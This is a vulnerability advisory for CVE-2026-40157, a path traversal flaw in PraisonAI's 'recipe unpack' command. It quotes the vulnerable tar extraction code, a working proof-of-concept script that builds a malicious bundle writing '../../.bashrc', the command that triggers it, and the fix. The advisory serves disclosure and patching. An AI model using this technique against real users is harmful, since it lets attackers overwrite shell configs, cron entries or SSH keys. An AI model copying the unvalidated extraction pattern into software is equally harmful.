CVE-2026-40157
| Field | Value |
|---|---|
| Severity | Critical |
| Type | Path traversal -- arbitrary file write via tar.extract() without member validation |
| Affected | src/praisonai/praisonai/cli/features/recipe.py:1170-1172 |
Summary
cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.
Details
The vulnerable code is in cli/features/recipe.py:1170-1172:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
```
The only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python's `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`.
The codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it.
recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def safeextractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
dest = str(dest_dir.resolve())
for member in tar.getmembers():
if os.path.isabs(member.name):
raise RegistryError(...)
if ".." in member.name.split("/"):
raise RegistryError(...)
resolved = os.path.realpath(os.path.join(dest, member.name))
if not resolved.startswith(dest + os.sep):
raise RegistryError(...)
tar.extractall(dest_dir)
## PoC
Build a malicious bundle:import tarfile, io, json
manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
info = tarfile.TarInfo(name="manifest.json")
info.size = len(manifest)
tar.addfile(info, io.BytesIO(manifest))
payload = b"export EVIL=1 # injected by malicious recipe\n"
evil = tarfile.TarInfo(name="../../.bashrc")
evil.size = len(payload)
tar.addfile(evil, io.BytesIO(payload))
Trigger:praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
Actual: .bashrc written two directories above the output dir
## Impact
| Path | Traversal blocked? |
|------|--------------------|
| `praisonai recipe pull <name>` | Yes -- uses `_safe_extractall` |
| `praisonai recipe publish <bundle>` | Yes -- uses `_safe_extractall` |
| `praisonai recipe unpack <bundle>` | No -- raw `tar.extract()` |
An attacker needs to get a victim to unpack a malicious `.praison` bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.
Depending on filesystem permissions, an attacker can overwrite shell config files (`.bashrc`, `.zshrc`), cron entries, SSH `authorized_keys`, or project files in parent directories. The attacker controls both the path and the content of every written file.
## Remediation
Replace the raw extraction loop with `_safe_extractall`:cli/features/recipe.py:1170-1172
# Before:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
After:
from praisonai.recipe.registry import safeextractall
safeextractall(tar, recipe_dir)
```
Affected paths
src/praisonai/praisonai/cli/features/recipe.py:1170-1172--cmd_unpackextracts tar members without path validation
Package Versions Affected
Automatically patch vulnerabilities without upgrading
CVSS Version



Related Resources
References
https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-99g3-w8gr-x37c, https://nvd.nist.gov/vuln/detail/CVE-2026-40157, https://github.com/MervinPraison/PraisonAI, https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128, https://pypi.org/project/praisonai, https://github.com/advisories/GHSA-99g3-w8gr-x37c